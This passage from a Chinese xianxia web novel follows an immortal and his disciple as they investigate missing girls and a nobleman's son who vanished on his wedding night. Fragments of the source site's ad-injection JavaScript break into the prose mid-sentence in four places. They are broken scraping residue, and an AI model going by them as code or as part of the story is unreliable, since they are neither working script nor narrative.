对他而言,婚姻之事本就是父母之命媒妁之言,封霁川多年只顾埋头读书考取功名,对于娶妻之事并无什么期待,只要妻子温良贤惠,孝顺父母便好。只是母亲说成家立业,先成家后考取功名也不迟,他才应下了这门亲事。想着若是妻子八字相和,或许能助他一举夺魁也未可知。 但是温家后院,遥遥一眼,却让他对于未来的妻子生出无比的期待。 蝴蝶穿花度柳,迎风蹁跹,娇憨的少女手持轻罗小扇,追着蝴蝶蹑手蹑脚地跑着。封霁川询问身旁的温家家丁,确认了温家并无其他适龄的女眷,那个扑碟的娇憨少女,正是他和他议亲的温家小姐。 封霁川手握红绸,屏住呼吸,缓缓地掀开了她的盖头。那抹红色在烛光中微微颤动,仿佛燃烧着的火焰,直至盖头完全揭开的瞬间,少女因羞涩而泛起的红晕映入他的眼帘。 少女有些羞涩地低着头,直到察觉到封霁川的目光在自己身上停留了许久,才抬起头来。 她睫毛微颤,仿佛两只蝴蝶在纤细的树枝上扇动翅膀。艳红的喜服将少女的面容衬得更加白皙,满头的珠翠闪闪发亮,但都比不过那双动人的眼睛——那双眼睛仿佛有着无数说不清道不明的情绪,既清澈又深邃,像是藏了满天的星光。 芙蓉如面柳如眉。 封霁川心跳骤然加快,看得有些呆了。他努力平静心绪,脑海中却浮现起母亲的叮嘱,他微微一笑,轻轻取下她沉重的凤冠,放在一旁,随即小心翼翼地拿起桌上的糕点,递给她:“累了一天了吧,饿不饿?” 少女摇了摇头,看着他恳切的,关心的神情,又羞涩地点了点头。 少女接过他的糕点,小口地吃着。忙了一天,她确实滴水未进。 “好像他。” 少女心道,目光在封霁川的脸上流连片刻,神情有些恍惚。 虽然只有七分形似,但是已是世间难得。 红烛燃了整晚,红纱帐里,春宵一刻,千金万两。 红烛燃尽,天色渐明。司州城内的街道上,微风拂过,卷起地面的落叶。清晨的日光透过参差的树影洒在街头,几分冷清。 街巷里传来几声恼怒的叫骂。 “真是活久见了,青天白日的,居然好意思索要我闺女的贴身物件儿?” “不要脸的登徒子。” “还真以为长了张好脸,女儿家的就会眼巴巴地凑上来了?我呸。” 再一次的,谢珩又被失踪少女的家人灰头土脸地骂了出来。 “师尊.......”师月白怯生生地抓住了他的衣袖,“师尊没事吧,下一家我一个人去问吧。” 谢珩居于灵山太久,人间世道已经逐渐发展成了他看不明白的样子。 谢珩未飞升时,少男少女还唱着投我以木瓜报之以琼瑶的情歌,和离之后,男女双方都可以再另寻良人。 如今怎么只是要个物件,便要用这般的污言秽语骂他呢。谢珩有些不明白了。 他专修剑道,其他术法都只不过堪堪够用,此次陪小白下山调查,特意找楚悬画了几张追踪符,若无沾染失踪者气息的物件儿,他要如何找失踪少女的痕迹? 司州所辖范围广大,无异于大海捞针,何况魔头或许早已出了司州地界。 谢珩有些心焦。飞升之后的仙人自然不会为污言秽语所动,他只是担心失踪少女的安危。此事既由小白接管,这数十条人命自然被他负于肩头。 短短半个月,司州附近失踪了十几位十五六岁的少女。司州城内人口密集,仙门在城中设有办事之处,传递消息更为方便,而镇上村里失踪却未曾上报的少女还有多少,谢珩不敢细想。 司州太守出身寒微,深谙百姓疾苦,走马上任以来,政通人和,鲜有不太平之事。少女失踪案发生的太过频繁了,已经到了人力所不及的地步。 晓雾峰也判断,此事必有妖邪作祟。 未出阁的少女往往阴气甚重,恐怕要用少女炼化至阴之邪物。 最初,师月白接收的游历任务并非是这个。 被分配此事的弟子愁眉苦脸,这样的事,绝不可能是修为不高的邪祟所为。而且此事传到仙门之时已经距离第一个少女失踪有些时日,只怕她们早就已经凶多吉少。 并非所有弟子都想通过游历悟得道心飞升成仙,发现自己志不在此想混过去勉强出师回家的也大有人在,何苦为了虚无缥缈的仙途赔了自己的小命。 师月白微微偏头,悄悄打量着那个愁眉苦脸的丹修。那是一个年纪与她相仿的年轻修士,脸上挂着一副惶恐的神情,额角还冒着冷汗,显然对接下来的任务充满了担忧。 她又悄悄扫了一眼谢珩,谢珩察觉到她的目光,温柔地顺着她目光刚才的方向望去。 “师尊......” “我们小白心肠真好。想同他换就去换吧。”谢珩爱怜地摸了摸自己今早刚刚给师月白梳好的发髻。 那丹修的师姐也是一脸的愁云惨淡,叹了一口气,声音里带着几分苦涩:“小李啊,别灰心嘛,这不还有师姐陪你吗,死不掉,死不掉的。” 她看着自家师弟,口气像是在安慰,又像是宽慰自己。她的眼中闪过一丝疲惫和无奈,显然这份任务令她也倍感压力。丹修炼制丹药以助修炼或是治疗伤势,至于他们本人和魔物面对面时的战斗力,大概跟符修不相上下吧。 一道签文被递到他们眼前。姓李的丹修听见动静下意识抬头一看,是一个白发红衣的少女,容颜清隽秀丽,长发如雪,宛如神仙妃子。 然而此时此刻,任何惊世骇俗的美貌都无法触动李姓丹修那仿佛已经死灰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一般的内心。他神情木然,眼底尽是疲惫与焦虑。 这姑娘是来炫耀自己抽了个好签的吗? 尽管此刻失魂落魄,但是丹修还是很难对这样一个漂亮女修口出恶言。他灰头土脸地抬起头,目光却不经意间越过了少女的肩头,落在她身后的人身上。那人站得笔直,身着素色道袍,姿态优雅而端正,仿佛与周围的一切格格不入。 李姓丹修的心猛然一跳,眼神瞬间从迷茫变为惊讶。那不是……谢珩仙君吗?他瞬间瞪大了眼睛,仿佛看到了什么不可思议的事情。 “小白的意思是,她的签子同你换。”平日里金口难开的仙君看了一眼丹修,替少女解释道。 谢珩的目光淡然而平静,扫过李姓丹修的瞬间,那淡淡的威压便如同一阵微风拂过,轻轻掠过他的心间。李姓丹修只觉脊背一阵发冷,连忙低下头,连大气都不敢喘一口。 红衣少女在一旁,跟着点了点头。 “这也太麻烦小白姑娘了……”李姓丹修紧紧握住那根签子,眉头深锁,仿佛手中捧着的不是一根签文,而是一条烫手的蛇。他看着眼前这位清秀少女,心头复杂的情绪交织在一起,怜香惜玉的念头渐渐盖过了贪生怕死的本能。 良久之后,他终于叹了一口气,咬着牙将签子推还给师月白,“司州这个任务,我去危险,小白姑娘去也同样危险。还是算了吧。” “不危险。”少女摇摇头。 “师尊会陪我一起,所以不危险。” 谢珩点头,目光落在少女身上,丹修不知是不是自己的错觉,好像这位冷若冰霜的仙君看向少女时,目光瞬间柔和了许多。 谢珩仙君,亲自陪徒弟下界? 他下意识地看向谢珩,仙君依旧神色平静,目光清冷如霜,仿佛这一切都理所当然。 师父亲自陪徒弟下界这样的事情并无不可,但是千百年来确实没什么人会选择这样做。 一来仙君们通常弟子众多,由年长的弟子陪师弟师妹们下界便足矣,二来若是每个弟子都要等着上一个弟子游历完,再由师尊亲自陪着下界,那底下的弟子想要出师便更加遥遥无期。 谢珩仙君的剑道于常人而言,光是入门便要花去二三十年,加之他本人清冷淡漠不与人亲近,连妄图拜入他门下的弟子都少之又少。更无需提那些原本在剑道上也算颇有所成,却被谢珩一句天分不足心性不坚便拒之门外的。 如今他竟然转了性,收了这样一个娇憨单纯的少女为弟子,甚至还要亲自陪着她下界游历。 “不换么?”谢珩薄唇紧抿,微微皱眉,气氛瞬间变得森冷起来。 “换换换,”那李姓丹修的师姐忙接过师月白手中的签文,又抢下自家师弟手中的签文递给师月白,“多谢师妹,多谢师伯。也祝师妹游历顺利,我们先告辞了。” “嗯。”谢珩点头,那李姓丹修见状,仿佛被解除了定身咒,浑浑噩噩地快步离开了。 9. 就好像,凭空消失了一样 灰蒙蒙的天色下,司州的街道仿佛被一种看不见的力量笼罩着,沉闷而无声。谢珩和师月白踏入这座城池的瞬间,便感受到了一股难以名状的异样气息。街巷两侧的瓦房依次排开,却仿佛紧闭的嘴巴,默然无声。路上的行人稀稀落落,低头急行,不愿在这阴沉的空气中多做停留。 师月白四下打量,发现司州并没有想象中的那般萧条,街边的小摊依旧在卖着新鲜出炉的热饼,商贩的吆喝声时不时从各个方向传来。 不知为何,却有一种压抑的紧张感弥漫其中,让人无法安心。城中少有孩童嬉闹,家家户户的门窗都紧闭着,只透过一条窄缝窥视外面的动静。 并非没有犹豫不觉的少女亲友将贴身之物交予谢珩,两人几经打探,倒也并非一无所获。 但是明明上面还残存着少女身上的脂粉气息,追踪符触及它们的一刹那,竟然瞬间湮灭了。 “反追踪术。”谢珩愕然。 符修能够将灵力注入符纸,若是符画术学的出色,刚刚学会调用灵力的凡人也可用灵符发挥出千钧的实力。 道高一尺,魔高一丈,于是魔修便也弄出了针对符画术的术法。 线索就此中断,谢珩头一次恨自己当初只知一心习剑,对于其他大道全都不屑于顾。 “师尊,下一家,我一个人去问吧。” “也好。”谢珩有些迟疑地答应了。 他拿起手中的卷轴,卷轴中记录了失踪少女的名姓和住址。二人如今已经走访了其上的大多数家庭,却一无所获。 “还是我陪你进去吧,这个姑娘有些......特殊。” 师月白凑过去看谢珩手中的卷轴,卷轴上并无姑娘的姓氏,只有樱桃二字,住址是青竹街相思坞。 师月白虽然不谙世事,但是倒也朦朦胧胧地读出了相思坞这个名字所含的风月意味,故而没有再追问。 相思坞的外墙用粉色的砂石砌成,门前两只红漆大灯笼随风轻晃。谢珩心念一动,灵力凝成一只青鸟,化作拜帖,飞入相思坞的大门。几乎是瞬间,门内传来一阵细碎的脚步声,紧接着大门“吱呀”一声缓缓打开。 一个身形窈窕的女子出现在门口,她腰肢纤细,轻抚着袖口走了出来,眼波流转,目光在谢珩和师月白身上打量了一圈,嘴角勾起一丝若有若无的笑意:“两位仙长远道而来,不知有何贵干?” 谢珩察觉眼前之人有灵力在身,并非普通凡人,下意识警惕了起来。 剑修向来不擅隐藏杀意,即便谢珩只是略带警惕,在凡人眼中却也足以构成威压。 那女子见状,嘴角笑意微敛,倒退了两步,仿佛有所顾忌般避开了谢珩的锋芒:“仙长好生没礼貌。如今世道有修无情道的,自然也有修合欢道的。我们同其他仙门弟子你情我愿地欢好,又不是那等魔教妖人。” 谢珩心中暗自警惕,这女子看似温婉妩媚,却有一种说不出的不协调感,仿佛是被人精心雕琢出来的假象。他微微拱手:“在下晓雾峰楚悬仙君门下符修,这位是我同门师妹。听闻这里有一位名叫樱桃的姑娘失踪,特来询问可有她的下落。” 谢珩自然不好明说自己身份,只好叫楚悬占了这个口头便宜。 女子闻言笑意更浓,眉眼弯弯,“原来是楚仙君的弟子,难怪气度非凡。”她的声音柔和,微微侧身做了一个请的手势,“既然是为了樱桃姑娘而来,请进屋一叙。” 谢珩和师月白相互对视一眼,点了点头,便随着女子步入相思坞。院内景致颇为雅致,湖石小桥,垂柳轻拂,仿佛一幅古意盎然的画卷。 女子将二人引入一间幽静的花厅:“仙长不必客气,想问什么,便在直接问吧。” 不知为何,谢珩总觉她说话的调子有些傲气,并不像普通迎来送往的莺儿。 谢珩从袖中取出那卷记录着失踪少女信息的卷轴,缓缓展开:“不敢当,只是职责所在。敢问姑娘贵姓?” “我不过是个无名之辈,仙长唤我‘坊主’便可。至于樱桃,她是我们这里的一位姑娘,的确已经许久不见了。” “那她平日里可有何异样?或是接触过什么不寻常的人或物?”谢珩追问道。 坊主眼波流转,似是漫不经心地说道:“她呀,从小便在相思坞长大,七岁那年入了我们这儿,直到现在也未曾接客,倒是一直盼着有个好归宿。说起来,她还算个干净的姑娘。” 她谈及干净二字的音调,让人有些莫名地不舒服。 师月白在一旁默默观察,注意到女子说话时眼底掠过一丝奇异的光芒,那光芒似乎带着几分怨毒,又仿佛是对某种秘密的炫耀。她悄悄用灵识探查,却在触及女子的一瞬间,感到一股冰冷的反噬,令她不由自主地打了个寒战。 谢珩察觉到师月白的异样,微微皱眉,正想继续追问,坊主忽然笑道,“说起来,楚悬仙君还算是司州人的旧识,我记得他,他来过司州布雨,还从这里带走了一个女孩收为弟子。仙长可认得她?” 谢珩心中一凛,面上却不动声色,“楚仙君门下弟子众多,在下与师妹入门较晚,或许并不相识。” “是吗?真是巧了,那姑娘的父母本已和我们这里的妈妈约好,要送她来相思坞,最后却被楚仙君带走了。那姑娘相貌不错,当真是有些......” “可惜了。”她轻叹。 谢珩神情微动,暗忖这女子言语中暗藏机锋,似乎在试探什么,只推说并不相熟。 “若是姐姐想念那位师姐,等我们回了晓雾峰,我会去同师父打听。不过当务之急,我们还是想尽快找到樱桃姑娘,不知道姐姐可有樱桃姑娘的贴身之物?”师月白怯生生地插言说。 女子闻言,忽然冷笑了一声:“小妹妹好生无礼,樱桃自七岁入了相思坞,至今未曾接客,与黄花姑娘也一般无二,如今你一开口就要她的贴身之物,未免太过轻浮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。你们找过其他姑娘的家人,他们可曾答应?莫非因她出身我们这样的地方,便可随意轻辱?” 谢珩上前两步,护在师月白身前:“我们无意冒犯姑娘,只想尽快找到樱桃姑娘。姑娘若不信,大可亲眼见证追踪之术。我们所求,唯有樱桃姑娘平安而已。” 女子眯起眼睛,半晌不语,眼中似有疑虑,又似有不甘,最终冷哼一声,唤来一个小厮低声吩咐了几句。 侍女领命而去,不久后取来一只小巧的香囊,坊主递给谢珩,“樱桃平日最是爱惜这个香囊,带着你们的法器试试吧。” 谢珩接过香囊,灵力在指间流转,召唤出一只银白色的罗盘,轻轻将香囊放在中央,他指尖轻动,符纸从中飞出,贴在罗盘之上。罗盘微微一震,瞬间射出一道幽光。 然而,令二人意想不到的是,罗盘在片刻之后竟毫无动静,幽光迅速消散,仿佛从未显现过。 谢珩眉头紧锁,师月白心中也泛起了一丝疑惑,莫非这物件上,也同样被施了反追踪符? “姑娘,冒昧一问,这香囊最近可曾被人触碰过?”谢珩问道,目光透出一丝锐利。 坊主冷笑一声,“你们不是仙人吗,怎么连这都看不出来?樱桃的东西当然是她的,谁会去动?” 谢珩意识到此刻已问不出更多,他微微欠身:“多谢坊主协助,在下告辞。” 二人走出相思坞,来到街角,师月白压低声音,“师尊,你觉得那个坊主有些古怪吗?” 谢珩点点头,眼神中透出一丝凝重。 夜色渐浓,司州的街道在夜风中变得愈发冷清。谢珩和师月白回到了暂住的客栈。 客栈内,古老的木质地板在夜色中显得格外寂静。谢珩和师月白在房间中安顿下来,刚刚坐下,门外传来了急促的脚步声。敲门声响起,几乎打破了夜晚的宁静。 来人是前来通报的小二,称有一位衣着华贵的女子求见。 “妾身刘筝,”女子温婉地行了一礼,声音中带着几分恳切,“特意来拜会二位仙长。” 谢珩久居灵山,对人间一切概不知情,师月白却是认真做了功课的,知道刘姓乃是当朝陛下的姓氏,眼前的女子不到四十,衣着华贵,风韵不减当年,恐怕是人间帝王那位封地在司州的胞姐。 “公主快些轻起。”师月白连忙说道。 “不知公主莅临寒舍,所为何事?”谢珩缓缓抬起实现,他并不甚待见人间这些贵族,只是抱手行了个礼。 公主阅人无数,见谢珩姿容卓绝貌如少年,却行事稳妥,不急不躁,知他大抵在仙门也是个人物,连忙将所求和盘托出。 “我与驸马多年夫妻,却仅仅诞下一子,名为霁川。前些日子我与驸马给他定了门亲事,是温太守家的千金,他也是欢喜的。怎料新婚第二天,霁川便不见了。” “府中下人一直守在门口,但是霁川就好像是,凭空消失了一样。” 10. 但是如今,他们全都失踪了。 公主既然这样说,那么封公子的失踪便与鬼神脱不开关系了。 谢珩轻拂袖口,眼神微敛,语气平静却带着一丝拒人于千里之外的冷漠:“既然如此,司州城中便有晓雾峰所设办事处,殿下为什么不诉诸晓雾峰呢?我们二人下山自有其他任务。” 谢珩本就不是多管闲事的性子,并不想插手此事。何况王宫贵胄食民之禄,本就有太多超出常人的特权了。 若是仙门中人也这般向着他们,那对于那些普通百姓,对于那些失踪的少女,便更无公道可言了。 “我无意仗势欺人,劳烦仙长奔波来缺,优先处理我儿的事......”公主眼神略显疲惫,轻叹一声,语调中带着几分无奈,仿佛只是一个寻常的,挂念儿子的母亲,“只是我们在此之前,已经诉诸晓雾峰了。晓雾峰遣了弟子前来,但是那二位仙长说,在婚房查到了川儿的踪迹,说要等到入夜时分,让邪祟现行。” 公主顿在此处,似乎有口难言。 谢珩眉头微蹙,目光中闪过一丝冷意,声音中透露出几分不易察觉的严肃:“他们也不见了?” 公主点了点头,有些羞赧。毕竟是在她的府中出了这样的事。 谢珩神色和缓了些:“殿下无需愧疚,降妖除魔,修道之人本该如此。” 能被准许下山游历的弟子自然不是吃干饭的废物。如果是连他们也束手无策甚至把命赔进去的大魔,谢珩自然不能坐视不理。 魔修往往行事毫无顾忌,像这般藏头露尾之人并不多。如果运气好的话,或许与他们已经陷入瓶颈的调查有所勾连。 于是三人当即启程,很快来到公主府门前,一位侍从恭敬地上前迎接,将他们引入府中。 驸马已经在府前候着了。身姿依旧挺拔,眉宇间已染上了浓浓的疲惫。虽已接近四十,但依稀还可见得从前的俊朗。 因为独子出事的缘故,他的头发花白了许多,却仍然一丝不苟地梳理了起来。 公主府邸比想象中更加宏伟,若是依制而建,足见这位公主的受宠程度。府邸两侧的红灯笼依然悬挂着仍未摘下,如今却因新郎的失踪而略显嘲讽。谢珩和师月白随着侍从走入正厅,正厅内静悄悄的,只余下几声低低的抽泣。 那是一个素白衣裙的女子,想必就是封公子的新婚妻子温致宁了。她的双眼泛红,显然是因为丈夫的失踪而憔悴不已。 听见脚步声时,她抬起头来,目光黯然,眼中似有泪光闪动。 师月白见到她的第一眼,莫名觉得她苍白得有些过分,介于一种病态娇弱的美感,和一种近乎可怕的骨感之间。 公主拍了拍女子的肩膀,把她扶了起来:“致宁,别哭了,先来见过二位仙长吧。” 温致宁低垂着头,声音略带沙哑,显得格外虚弱:“是,母亲。” 她的声音有些嘶哑,显然是哭过,她转向谢珩和师月白,“见过二位仙长。无论如何,都很感激你们愿意前来探查此事。” “温夫人这样难过,和封公子感情很好吧。”谢珩看似无意地问。 “自然是好的。我家川儿是个会疼人的,致宁又是这样一个温柔得像水一样的性子。我同温太守议亲时便说,他们二人必会是一对璧人,奈何造化弄人,魔修偏找上了我家川儿。” 温致宁低垂着头,泫然欲泣。 听凭父母安排的新婚夫妇,会难过得这般如丧考批吗? 温致宁仿佛猜出了谢珩所想,她抬头看着谢珩:“我和霁川确实是父母之命媒妁之言,没有什么感人肺腑的故事。我确实是最后一个见过霁川的人,仙长怀疑我,我也认了。” 师月白连忙讪讪开口:“温夫人,我师尊没有这样的意思。您误会了。” “仙子从未被你师父用这样的眼神看过,自然觉得他没有这种意思。” 温致宁轻轻一笑,笑容苦涩,抬起泪眼望向师月白:“令师看着我的眼神,就像在审视一个犯人一样。” 师月白被她用这样的眼睛看了一眼,明明没有说过什么怀疑他的话,竟然也莫名其妙地觉得有些愧对于她。 但是师尊不过是想尽快找到作乱的邪祟而已,师尊自然也是没错的。 “仙长觉得我与霁川不过见过聊聊数面,为他难过不过是在表演罢了。但是仙长可知,我只是个内宅妇人,不似仙长这位弟子可以惩奸除恶飞升成仙,丈夫便是我的全部了。公主驸马在这里,仙长非要逼我亲口说出这些话吗?” 说到最后时,温致宁的眼泪已经夺眶而出。公主连忙拿出手帕,亲自给儿媳拭去眼泪:“宁儿莫要难过,本就是我和你父亲敲定了这门婚事,夫妻嘛,总是要朝夕相处相互扶持着,才能渐生情愫的。我和驸马当年也是奉旨成婚,如今不也琴瑟和鸣。我们怎会因为这样的事情怪你。快莫要哭了,等川儿回来看见你这般消瘦,又该心疼了。” “抱歉,是我冒犯了。我只是想要尽快找到封公子,当然还有晓雾峰那两位同门。”谢珩屈尊降贵地勉强道了个歉,但他容色如常,全然不见悔意。 师月白这才发觉,一向对自己温柔如水的师尊,在外人面前其实是冷漠得有些可怕的。 眼见着温致宁的眼眶又红了,师月白不敢再让师尊再对温致宁说什么,只好自己率先发问:“封公子失踪前,可有留下什么异常的迹象?或者,他是否曾提到过任何奇怪的事情?” 温致宁低垂着头,手指轻轻拽着衣袖,像在努力回忆着:“霁川他……在婚礼当天并未表现出什么异常,我和他只遥遥见过没几面,那日我只觉得他温柔体贴,认为自己嫁了一个好郎君。直到我们进入婚房……待我第二天醒来时,他便不见了。” 师月白在一旁听着,眼中闪过一丝疑虑:“你说他在婚房中失踪,那婚房可有留下什么线索?” 温致宁摇头,拿起公主刚刚递给她的手帕擦拭眼泪:“霁川消失得无声无息,房间里并没有留下任何打斗或挣扎的痕迹。 师月白和谢珩对视一眼,虽然她还没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有任何思路,但是见师尊的神情,便知他心中已有了计较。 谢珩没有再多问,只是平静地说道:“带我们去婚房看看。” 温致宁点头应允,带领他们穿过几道长廊,来到了二人的婚房。这里寂静无声,只有风吹过时,微微掀动着红色的纱幔。她推开房门,带着两人走进房内。 婚房内的布置极为华丽精致,红色的纱幔依旧悬挂,床上铺着喜庆的红被,地上还残留着一些红绳,像是断了的姻缘线,散落在房间的各个角落。 地上的红绳散落四周,像是被人刻意割断的血管。它们蜿蜒而无序地铺在地上,带着一种令人不安的静谧。 师月白蹲下身,凝视着那些红绳,指尖刚要触碰,谢珩的声音忽然冷冷传来,打破了静谧:“小白,不要碰。” 师尊对她说话的语气从没这样急过,谢珩自知失态,隔着袖子把她拉了起来:“不是凶你。” “嗯。”师月白乖顺地退后了几步,“我不会生师尊气的。” “仙长,这些红绳,有什么问题吗?” “婚房的装饰都是我带着下人亲自布置的,”公主解释说,“不曾假手与人,府中的下人也都是信得过的。仙长,这些红绳可有什么诡异之处?” 谢珩其实说不上来这些红绳到底有什么问题,只是莫名的感觉有些不对,不想让小白冒哪怕一点风险。 他的剑可以斩断世间至邪,只要那宵小之辈敢出现在他面前,他自信无论是何邪物都能斩于剑下,但是对于藏头露尾的邪祟,他却也不免觉得有些棘手。 “这些红绳有什么用途吗?”师月白在一旁问。 公主叹了口气,解释道:“这是我们当地的一种新婚传统。婚礼当天,会将红绳系在房间四角,象征夫妻永结同心。” “这些红绳,原本是不该散落在地的吧。”师月白很敏锐地察觉到不对劲之处。 “不。” “是我们昨夜取下的,”温致宁说,低垂的眼眸微微颤动,双手交握在一起,似是极力压抑着内心的情感,“在新婚之夜由新人亲手取下红绳,是我们这里的传统。” “抱歉,是我们多虑了。” “仙长客气了,”比起因为背负了谢珩的怀疑的温致宁,公主对二人显然更为信任亲近,“我在京城长大,初到司州也觉得这样的婚俗很是新奇。那二位晓雾峰的仙长也问了红绳的事。” 晓雾峰的符修对于灵异之事,定是要比谢珩和师月白这样的剑修更敏感。谢珩手里功能乱七八糟的符纸,原本也就都是从楚悬手里拿的。 更何况那二位晓雾峰弟子来到这里更早,也显然更易于追踪残存的魔气。 楚悬收徒虽不择门第,但是如孟婷这般出生低微的弟子,反而常常修习更加刻苦。 楚悬既然敢把人丢下山历练,那个弟子绝非连自保能力也没有的不学无术之辈,更枉论还有一位修炼时间更长的师兄师姐同行。 但是如今,他们全都失踪了。 11. 凌霄剑气。 由晓雾峰派出探查封霁川失踪案子的弟子,正是孟婷和她的师兄洛禺。 晓雾峰人数众多,由师兄师姐陪着下界本是惯例,晓雾峰几千来号弟子,楚悬怎么可能挨个陪着历练。一般情况下,陪同的师兄师姐都可以由下界的弟子自由指定。 孟婷性子僻静,在门中并无什么交好的师兄师姐。楚悬问及她时,她有些尴尬地垂下头,答说任凭师尊安排。 楚悬心思通透,很快就明白了她的窘迫,没有再追问,只是翻着历年拜师的弟子名册,沉默不语。 “让洛禺陪你去吧。”他最后下定决心。 “洛禺师兄?” 孟婷和洛禺只打过一次照面,那时她早起练习画符,正迎面碰上这位通宵喝酒回来的师兄。 她不是多管闲事的人,本想绕路走开,不想违反了门规的洛禺倒是大摇大摆地迎上来,说师妹怎么起这么早来修炼,饭堂都没开门呢,还好你师兄我多带了一份早饭。 若二人尚在凡世,洛禺这样的人大概一辈子也不会与她有所交集吧。 洛禺出身贵族,为人慷慨,乐善好施,虽然修为不高,但在晓雾峰人缘极好。他是吃不了苦的性子,本来应该在人间当个富贵闲人的,只是因为幼时身体太弱,气若游丝之际被岳岚仙君路过搭救,他的父亲为了答谢岳岚仙君,把他送去了岳岚仙君门下,让他侍奉岳岚仙君。 殊不知老侯爷觉得他是在报答仙君对小儿的救命之恩,仙君却不这么想。岳岚仙君含霜履雪,并不需要所谓报答,只好先把洛禺收入门下。只是岳岚仙君满门皆是医修,修炼行事不得出半点差池,在她看来,洛禺粗心大意实在不是可塑之才,转手把他介绍给了同门师兄楚悬。 同门师兄当然是表面的原因,主要原因还是符修门槛之低,愚笨一些也是不妨事的。 洛禺这厮在救命恩人的药王谷尚且有所收敛,来了晓雾峰就好像回家了一般快活,呼朋引伴,翘课逃学,简直无恶不作。由于久久未能出师,如今晓雾峰的大多数弟子见了他,都得喊一声洛师兄。 “你这些年的勤修苦练,为师都看在眼里,寻常历练与你而说,并不成难题,”楚悬道,“让洛禺同你做个伴吧,就当关爱空巢老师兄了,喜欢什么吃的玩的让他买去。” 楚悬对孟婷这个弟子其实很是放心。她心性纯粹,又勤于修行。至于资质,符修是最不看资质的。只是区区一个王公贵族子弟的失踪案罢了,对她来说不成难事。保不齐那贵族子弟不是挖了条密道去和小情人私会了。 楚悬不担心她无法领悟道心蹉跎一生,以她澄澈的心境,这不过是早晚的事。 他更忧心她这样内敛的性子,一个人在仙途走下去,会很难捱。 所以师月白也好,洛禺也好,他想要让这个内向的小徒儿从自己的世界里向外再多走几步。飞升之后,仙人会有无穷的寿数,漫长的岁月里,若始终孤身一人无亲无故,也是会寂寞的吧。 孟婷跪在阶前,领命而去。 不久后。 公主和封霁川的新婚妻子早早候在司州城门前等待仙家弟子的到来。 “在下晓雾峰弟子洛禺。这位是我的同门师妹孟婷。见过夫人。” “二位便是来帮我们找霁川的仙家子弟吧,”气质高华的夫人上前一步,想必就是受害者封霁川的母亲刘筝了,“二位为了霁川远道而来,真是不知如何答谢了。这是我的儿媳致宁。” “见过二位仙长,多谢二位仙长愿意前来找我夫君,致宁感激不尽。”少女只有十六七岁的样子,瘦削而苍白,说最后几个字时,声音已经带上明显的哭腔。 孟婷并没有百分之百的可能确信自己可以把少女的丈夫带回来。她本就性子内敛,不善于应付这样的场合。 洛禺见师妹有些局促,简单地结束了寒暄。孟婷直截了当地提出要去现场探查。封霁川消失的地方就是二人的婚房,据温致宁所说,他们新婚的第二日,她醒来时,就发现封霁川已经消失不见了。 检测魔气的符纸不要钱般地落在房间四处,凡人是看不出什么门道的,只能看见其中多数全都化为齑粉,消散在空中。 她收回符纸,对于魔修掳走封霁川的手段,已经大致了然于心。 “二位仙长,我儿现在到底身在何处啊,”公主急的掉眼泪,“霁川的性子一直端庄稳重,绝不会私自出逃,定是有妖人作祟。” “殿下和驸马莫急,”洛禺虽然是个花架子,但是气度不凡,他的宽慰倒是很有说服力,“以清山弟子既然应召下山,就定会尽全力把封公子平安带回。” 孟婷这时已经探查完毕了:“此地尚有魔气残余,请公主清退无关人等,派人守住婚房。今夜子时,我们会补全阵法,寻回封公子。” “多谢仙长,多谢仙长!”驸马眼含热泪地连声道谢,独子失踪之后,原本正当壮年的男人头上已经生出了许多白发,“二位仙长辛苦,眼下距离子时尚有些时候,不如留在寒舍用膳休息。” 洛禺摇头谢过驸马:“我师妹不善言辞,在公主府怕是有些拘谨,我还是带着师妹回客栈随便用些晚饭吧,我们也还有些准备工作要做。” 孟婷倒是没想到,这个不学无术的师兄为人竟然这般体贴,出了公主府,她有些局促地向师兄道谢。 “师尊说了,这回出来是师妹罩着我的,我这人学艺不精,只能把师妹伺候好咯。” 洛禺带着孟婷出了公主府,给她点了几道家乡口味的蜀菜。司州富庶非凡,各地商人来来往往,因此也有了各地口味的菜馆。 一路上两人御剑而行,每每稍事休整时,洛禺都会体贴地点上蜀菜,孟婷一开始还担心他会吃不惯辛辣口味,后来发现这人确实是吃啥都香,无怪乎他和谁都能吃喝玩乐到一块儿去。 两人用过晚膳后,回到公主府静待子时来临。 夜半时分,孟婷和洛禺来到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婚房。因是王侯之家,婚房富丽堂皇的程度让出身不错的洛禺也叹为观止,红色的喜烛早成灰炬,红绳缠绕在房梁上,给房间平添几分诡异的气息。 子时阴气最重,对付这等藏头露尾的魔修,唯有等到这时才能追踪到他的所在。 几张符纸落在屋里散落满地的红绳上,在无星无月的夜里发出黄色的荧光。 “我当时看这几段破绳子就觉得怪,结果公主和温姑娘说这是他们这里的婚俗,我就没在细想了,还是师妹细致,一眼就看出这是魔修的残留。” “师兄,你不该问的。”孟婷无奈摇头。 符修虽然入门简单,但是对于什么符在什么情况下起什么作用,都由自己掌握。在外人看来孟婷只是挥出几张符纸而后化为齑粉,但是在寻常的景象中,婚房中的所有魔气残余之处,她早已了然于心。 “红绳有问题?”洛禺愕然,不学无术的弊端终于暴露了出来,“你怀疑公主,驸马,还是温夫人?” “算不上怀疑。但是警惕些总是好的。温致宁的嫌疑比起其他二人稍微大些,不过府中下人也并非没有可能。” “驸马也是,没准他当赘婿当得不如意了,在外面养了个小的,又有了个孩子。刚好把封霁川弄死之后,再把外面的女人孩子接回来。咱们刚好为民除害。” “啊?”孟婷瞪大了眼睛,想不到竟然还有这样的内宅秘辛。在她的家乡,庄稼汉娶一个老婆尚且费劲,这些王公贵族,怎么还有里面的外面的。 洛禺见她当了真,只好认真同实心眼的师妹解释说自己是在说笑。孟婷笑了笑,指尖轻动,飞出几道符纸。 封霁川还活着。 孟婷有些欣喜地把这个消息告诉了洛禺,二人即刻画阵前往。 阵成,灵光闪烁。 眼前的场景,却一分一毫也不曾更改。 孟婷虽然不是专修阵法的阵修,但是缩地千里却是最基础的,几乎人人都会阵法。就算不学无术如洛禺,也能倒背如流。 就算蒙上孟婷的眼睛,她也不会画错这个阵法。 怎会这样。 